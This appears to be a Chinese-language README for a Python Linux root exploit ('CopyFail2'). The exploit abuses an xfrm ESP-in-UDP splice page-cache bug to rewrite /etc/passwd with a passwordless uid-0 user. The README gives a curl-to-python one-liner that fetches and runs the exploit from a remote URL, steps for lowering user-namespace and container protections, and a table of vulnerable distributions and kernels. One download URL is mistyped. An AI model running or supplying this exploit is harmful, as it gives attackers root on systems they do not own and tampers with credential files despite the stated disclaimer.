CopyFail2 内核漏洞的 Python 移植版,利用 xfrm ESP-in-UDP MSG_SPLICE_PAGES 无 COW 快速路径,实现非特权 Linux 本地权限提升。
将 /etc/passwd 中的 nologin/false 条目替换为无密码的 uid-0 用户,并通过 su 进入 root shell。
该内核缺陷位于 xfrm ESP-in-UDP 封装所使用的 UDP splice 路径中。使用 MSG_SPLICE_PAGES 将 splice() 数据写入 UDP 套接字时,页面会被映射到接收方的页缓存中,而不会触发写时复制(copy-on-write)。这使得攻击者能够写入当前映射在页缓存中的任何文件,即使该文件是以只读方式打开的。
libcrypto.so(OpenSSL)CAP_NET_ADMIN 或具备创建用户命名空间的能力本仓库提供两个变体。两者产生相同的结果;请根据您的约束条件选择。
# 通过管道一行执行
python3 -c "$(curl -sL https://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py)"
# 保存文件后执行
python3 exploit.py
# 还原更改
python3 exploit.py --clean
python3 exploit_raw.py
python3 exploit_raw.py --clean
在启用了 apparmor_restrict_unprivileged_userns 的 Ubuntu 上,请先保存文件再从磁盘运行;管道模式会跳过 AppArmor 绕过步骤。
curl -sL ttps://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py > /tmp/x.py
python3 /tmp/x.py
/etc/passwd 字节异或为目标值。127.0.0.1:4500 上安装本地 xfrm ESP-in-UDP 状态。/etc/passwd 的目标字节、ICV)splice() 到管道中。splice() 到 UDP 套接字,触发内核缺陷并将字节写入页缓存。nologin/false 行覆盖为 sick::0:0:...:/:/bin/bash。su - sick 进入 root(PAM nullok 接受空密码)。cannot acquire CAP_NET_ADMIN
您的内核可能设置了 kernel.unprivileged_userns_clone=0。请启用它:
sudo sysctl kernel.unprivileged_userns_clone=1
如果在 Docker 中运行,请使用 --privileged 或 --cap-add=SYS_ADMIN 启动容器。
本工具仅供授权的安全研究和教育目的使用。请勿将其用于您不拥有或未经明确许可测试的系统。作者不对因使用本软件造成的滥用或损害承担任何责任。
| 文件 | 描述 | 速度 | 适用场景 |
|---|
exploit.py | 优化版 — 在多次变异中复用 xfrm 状态/套接字/管道,每轮批量处理 2 个连续字节,采用主动轮询而非固定休眠。 | 99 字节行约 3–8 秒 | 默认选择。速度快、稳定性好,已在多个发行版上测试。 |
exploit_raw.py | 参考版 — 最接近原始 C 代码。为每一个字节重新创建 xfrm 状态、套接字、管道和临时文件,每次变异固定休眠 200 毫秒。 | 99 字节行约 30–40 秒 | 如果您希望使用最简单的代码路径进行审计,或优化版在特定内核构建上表现异常时使用。 |
| 发行版 | 内核 | 结果 |
|---|
| Ubuntu 24.04 LTS | 6.8.0-110-generic | root |
| Debian 13 | 6.12.74 | root |
| Arch | 6.19.11-arch1-1 | root |
| Fedora 43 | 6.19.14-200.fc43 | root |
| Ubuntu 26.04 LTS | 7.0.0-15-generic | root |
| Ubuntu 22.04 LTS | 5.15.0-176-generic | 不受影响 |